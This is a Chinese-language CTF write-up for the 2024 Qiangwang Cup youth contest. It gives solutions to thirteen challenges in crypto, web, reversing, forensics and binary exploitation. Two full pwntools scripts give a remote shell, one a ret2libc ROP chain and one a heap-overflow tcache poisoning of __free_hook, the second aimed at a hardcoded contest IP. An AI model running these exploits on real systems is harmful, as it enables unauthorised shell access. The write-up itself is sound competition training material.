2024年强网杯青少年专项赛线上WP

2024-11-25 21:58
SfTian
0 评论

## 一、 战队信息

战队名称：半亩塘的一只鹅

战队排名：7

## 二、 解题情况

![img](https://download.imxbt.cn/upload/clip_image002.jpg)

## 三、 解题过程

### 1 Classics

#### 操作内容：

拿到附件看到是cyberchef通过多层编码得到的密文，根据其逆着来就可以了

![img](https://download.imxbt.cn/upload/clip_image004.jpg)

#### flag值：

flag{2834d185-a1da-4fb1-8bac-59076eb6a634}

### 2 签到漫画

#### 操作内容：

下发容器看漫画然后会发现每个漫画最后面都有一部分的二维码

![img](https://download.imxbt.cn/upload/clip_image006.jpg)

找在线网站拼接之后可以拿到flag

![image-20241125215114284](https://download.imxbt.cn/upload/202411252151362.png)

#### flag值：

flag{youthful_and_upward}

### 3 ezGetFlag

#### 操作内容：

进入容器网页根据下面You have x more …一直点然后会给提示

![img](https://download.imxbt.cn/upload/clip_image010.jpg)

![img](https://download.imxbt.cn/upload/clip_image012.jpg)

把button的form中的method的GET改成POST就行

![img](https://download.imxbt.cn/upload/clip_image014.jpg)

#### flag值：

flag{75e71ee8-fa7d-4527-bffb-1f8554611db2}

### 4 clock_in

#### 操作内容：

这题是ret2libc，先利用缓冲区漏洞溢出然后获取base地址构造ROP链，最后计算/bin/sh地址然后执行就可以了

![image-20241125215143249](https://download.imxbt.cn/upload/202411252151332.png)

#### 如该题使用自己编写的脚本代码请详细写出，不允许截图

```python
from pwn import *

context(log_level='debug', arch='amd64')

p = remote('ip', port)

elf = ELF('./clock_in')
libc = ELF('libc.so.6')

def get_libc_base():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))

def s(a):
    p.send(a)

def sa(a, b):
    p.sendafter(a, b)

def sl(a):
    p.sendline(a)

def sla(a, b):
    p.sendlineafter(a, b)

def inter():
    p.interactive()

def exp():
    rdi = 0x000000004011c5
    payload1 = b'a' * 0x48
    payload1 += p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x401253)
    sl(payload1)
    libc_base = get_libc_base() - libc.sym['puts']
    libc.address = libc_base
    system = libc.sym['system']
    bin_sh = next(libc.search(b'/bin/sh\x00'))
    payload2 = b'a' * 0x48
    payload2 += p64(rdi) + p64(bin_sh) + p64(rdi + 1) + p64(system)
    sl(payload2)
    inter()

exp()
```

#### flag值：

flag{bb92f04b-7317-4202-bc48-cdc9f1df428e}

### 5 ezmath

#### 操作内容：

这题拷打GPT o1拿到的，脚本看下面

![image-20241125215203897](https://download.imxbt.cn/upload/202411252152962.png)

![img](https://download.imxbt.cn/upload/clip_image020.jpg)

```python
from Crypto.Util.number import inverse, long_to_bytes
import sys

n = 739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
c = 229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969955453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743

e = 65537  # Public exponent

l = 2331

# Define states
states = list(range(7))  # 0 to 6

# Initialize transition table
def get_next_state(s, b):
    if s == 1 or s == 2 or s == 3:  # consecutive ones
        co = s
        if b == 1:
            co += 1
            if co == 4:
                return -1  # invalid
            else:
                return co
        else:
            return 4  # start consecutive zeros
    elif s == 4 or s == 5 or s == 6:  # consecutive zeros
        cz = s - 3
        if b == 0:
            cz += 1
            if cz == 4:
                return -1  # invalid
            else:
                return cz + 3
        else:
            return 1  # start consecutive ones
    elif s == 0:  # neutral state
        if b == 1:
            return 1
        else:
            return 4

transition = {}
for s in states:
    transition[s] = {}
    for b in [0, 1]:
        next_state = get_next_state(s, b)
        transition[s][b] = next_state

# Initialize DP array
DP = [ [0] * 7 for _ in range(2) ]
DP[0][1] = 1  # Start with one '1'

mod = None  # Can be used if you want to compute modulo some number

# Perform DP
for pos in range(1, l - 1):
    curr = pos % 2
    prev = (pos - 1) % 2
    DP[curr] = [0] * 7
    for s in states:
        count = DP[prev][s]
        if count == 0:
            continue
        for b in [0, 1]:
            next_s = transition[s][b]
            if next_s != -1:
                DP[curr][next_s] += count
                if mod:
                    DP[curr][next_s] %= mod

# Handle the last bit which is fixed as '1'
total = 0
curr = (l - 2) % 2
for s in states:
    count = DP[curr][s]
    if count == 0:
        continue
    b = 1  # Last bit is '1'
    next_s = transition[s][b]
    if next_s != -1:
        total += count
        if mod:
            total %= mod

key = total
print(f"Computed key: {key}")

# Now compute p and factor n
from gmpy2 import next_prime

p = int(next_prime(key))
q = n // p

# Verify that n is indeed p * q
assert p * q == n, "Failed to factor n correctly!"

# Compute phi(n)
phi = (p - 1) * (q -1)

# Compute the private exponent d
d = inverse(e, phi)

# Decrypt the message
m = pow(c, d, n)
flag = long_to_bytes(m)

print(f"Decrypted flag: {flag.decode()}")
```

#### flag值：

flag{77310934-21fa-4ee4-a783-dc1865ebab28}

### 6 AliceAES

#### 操作内容：

题目给了key和iv还要求用CRC的方式加密Hello Bob!，那么在cyberchef中操作即可

![image-20241125215231495](https://download.imxbt.cn/upload/202411252152563.png)

![](https://download.imxbt.cn/upload/202411252152563.png)

#### flag值：

flag{add7fd70-c006-43b9-92b3-5a212b137108}

### 7 ezFindShell

#### 操作内容：

下载[www.zip之后在Linux中用grep检索POST](http://www.zip之后在Linux中用grep检索POST)就可以找到马了![img](https://download.imxbt.cn/upload/clip_image026.jpg)

分析一句话得，e是通过GET方式传过去，还需要base64解密，POST作为POST参数直接扔过去

![img](https://download.imxbt.cn/upload/clip_image028.jpg)

![img](https://download.imxbt.cn/upload/clip_image030.jpg)

#### flag值：

flag{e1a47208-a4f9-4e06-895d-0e46e54f6b7f}

### 8 whitepic

#### 操作内容：

看十六进制是GIF，直接用StegSolve的分帧查看器查看拿到flag

![image-20241125215307625](https://download.imxbt.cn/upload/202411252153712.png)

#### flag值：

flag{passion_is_the_greatest_teacher}

### 9 EnterGame

#### 操作内容：

IDA分析是chacha20加密，需要拿到密文和密钥

![image-20241125215318793](https://download.imxbt.cn/upload/202411252153861.png)

![](https://download.imxbt.cn/upload/202411252153861.png)

密钥为

```
0x38, 0x7f, 0xcb, 0xb4, 0xfc, 0x46, 0x13, 0x4f, 0x22, 0x27, 0x31, 0xc2, 0x2d, 0x53, 0x25, 0xb4, 0x58, 0x6f, 0x75, 0x74, 0x67, 0x20, 0x53, 0x74, 0x71, 0x65, 0x6e, 0x67, 0x73, 0x68, 0x65, 0x6e, 0x9a, 0xe4, 0x9e, 0xb8, 0x86, 0xcf, 0x69, 0x3f, 0xaa, 0xbc, 0x94, 0x90, 0x84, 0xdd, 0xfe, 0xff
```

密文为

```
0x5e, 0x13, 0xaa, 0xd3, 0x87, 0x75, 0x2b, 0x7a, 0x1b, 0x16, 0x4, 0xa3, 0x49, 0x7e, 0x1d, 0xd2, 0x6b, 0x5d, 0x58, 0x40, 0x5e, 0x44, 0x63, 0x59, 0x48, 0x51, 0xd, 0x54, 0x5e, 0x58, 0x55, 0x58, 0xad, 0x82, 0xaf, 0xdc, 0xe7, 0xab, 0x58, 0x5d, 0xce, 0xc1, 0x8f, 0xa, 0x11, 0x7f
```

![image-20241125215347895](https://download.imxbt.cn/upload/202411252153971.png)

```python
key=[0x38, 0x7f, 0xcb, 0xb4, 0xfc, 0x46, 0x13, 0x4f, 0x22, 0x27, 0x31, 0xc2, 0x2d, 0x53, 0x25, 0xb4, 0x58, 0x6f, 0x75, 0x74, 0x67, 0x20, 0x53, 0x74, 0x71, 0x65, 0x6e, 0x67, 0x73, 0x68, 0x65, 0x6e, 0x9a, 0xe4, 0x9e, 0xb8, 0x86, 0xcf, 0x69, 0x3f, 0xaa, 0xbc, 0x94, 0x90, 0x84, 0xdd, 0xfe, 0xff]
enc=[0x5e, 0x13, 0xaa, 0xd3, 0x87, 0x75, 0x2b, 0x7a, 0x1b, 0x16, 0x4, 0xa3, 0x49, 0x7e, 0x1d, 0xd2, 0x6b, 0x5d, 0x58, 0x40, 0x5e, 0x44, 0x63, 0x59, 0x48, 0x51, 0xd, 0x54, 0x5e, 0x58, 0x55, 0x58, 0xad, 0x82, 0xaf, 0xdc, 0xe7, 0xab, 0x58, 0x5d, 0xce, 0xc1, 0x8f, 0xa, 0x11, 0x7f]
for i in range(len(enc)):
    print(chr(enc[i]^key[i]), end='')
```

#### flag值：

flag{385915ad-8f32-49d0-94c3-0067f1dad1bd}

### 10 问卷

#### 操作内容：

写问卷拿flag

![img](https://download.imxbt.cn/upload/clip_image040.jpg)

#### flag值：

flag{thank_you_for_your_support}

### 11 删除后门用户2

#### 操作内容：

Ssh登录之后ps -a可以看到有个b进程在跑，意义不明就直接kill掉

![image-20241125215425844](https://download.imxbt.cn/upload/202411252154905.png)

检查passwd发现backdoor用户，userdel -f backdoor即可

![image-20241125215437592](C:\Users\salte\AppData\Roaming\Typora\typora-user-images\image-20241125215437592.png)

#### flag值：

flag{51efce2c-9d54-4bac-bb7b-5ceecfaea2a0}

### 12 Flip_over

#### 操作内容：

由于源码被混淆，直接从lib文件夹找到libnative-lib.so拖入IDA，查找字符串发现有个明文flag{ 出现在validateAndEncrypt还有一个memcpy的明文字符串

![img](https://download.imxbt.cn/upload/clip_image046.jpg)

![img](https://download.imxbt.cn/upload/clip_image048.jpg)

两个sub函数分别是RC4和DES加密拿到key，然后再跟着while的0x21进行异或运算，先跟着RC4和DES加密可以找到密钥

```
5915c13f409a7ae7a68bb6e3ee0d196db76dcae6da5f0d4bd60ab2deadaa95eb85b777c310bbcfcef7d222c9c4f9fcfbab32ea318155af79528e80afc3186050f1d840bbfc1b89a6
```

密文贴脸上了就是上面0x1E 0x58那个部分，丢到cyberchef

![img](https://download.imxbt.cn/upload/clip_image050.jpg)

#### flag值：

flag{b92d40df-840a-43a8-bdb4-5de79eca13f4}

### 13 journey_story

#### 操作内容：

保护拉满！

![img](https://download.imxbt.cn/upload/clip_image052.jpg)

拖入IDA可见多个子函数，是堆溢出，通过覆盖size构造堆叠，通过unsortedbin泄露libc后tcache poison打free hook然后写入/bin/sh地址getshell

![image-20241125215611632](https://download.imxbt.cn/upload/202411252156769.png)

![image-20241125215539002](C:\Users\salte\AppData\Roaming\Typora\typora-user-images\image-20241125215539002.png)

```python
from pwn import *
from pwncli import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

libc = ELF('libc-2.31.so')
elf = ELF('./journey_story')
p = remote("39.106.48.123", 19369)

def add(size, content):
    p.sendlineafter(b"option: ", b"1")
    p.sendlineafter(b"0xb0): ", str(hex(size)).encode())
    p.sendlineafter(b"racters): ", content)

def free(idx):
    p.sendlineafter(b"option: ", b"2")
    p.sendlineafter(b": ", str(idx))

def show(idx):
    p.sendlineafter(b"option: ", b"4")
    p.sendlineafter(b": ", str(idx))

def edit(idx, content):
    p.sendlineafter(b"option: ", b"3")
    p.sendlineafter(b": ", str(idx))
    p.sendline(content)

for i in range(7):
    add(0xb0, b'aaaa')

for i in range(7):
    free(i)

for i in range(6):
    add(0x28, b'aaaa')

edit(0, b'b' * 0x28 + b'\xc1')
free(1)
add(0x28, b'\x00')
show(2)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

p.sendline(b"10")
for i in range(3):
    add(0x28, b'cccc')
free(2)
free(3)
show(7)

p.recvuntil(b"Story 7 (size 0x28): ")
heap_base = u64(p.recv(8)) & 0xfffffffff000

edit(7, p64(free_hook) + b'\x0a')
add(0x28, b'/bin/sh\x00')
add(0x28, p64(libc_base + libc.sym["system"]))
free(2)

p.interactive()
```

#### flag值：

flag{9d64fa26-eac0-4f23-9eae-b19fbe0ee18d}

2024年强网杯青少年专项赛线上WP

暂无评论

发表评论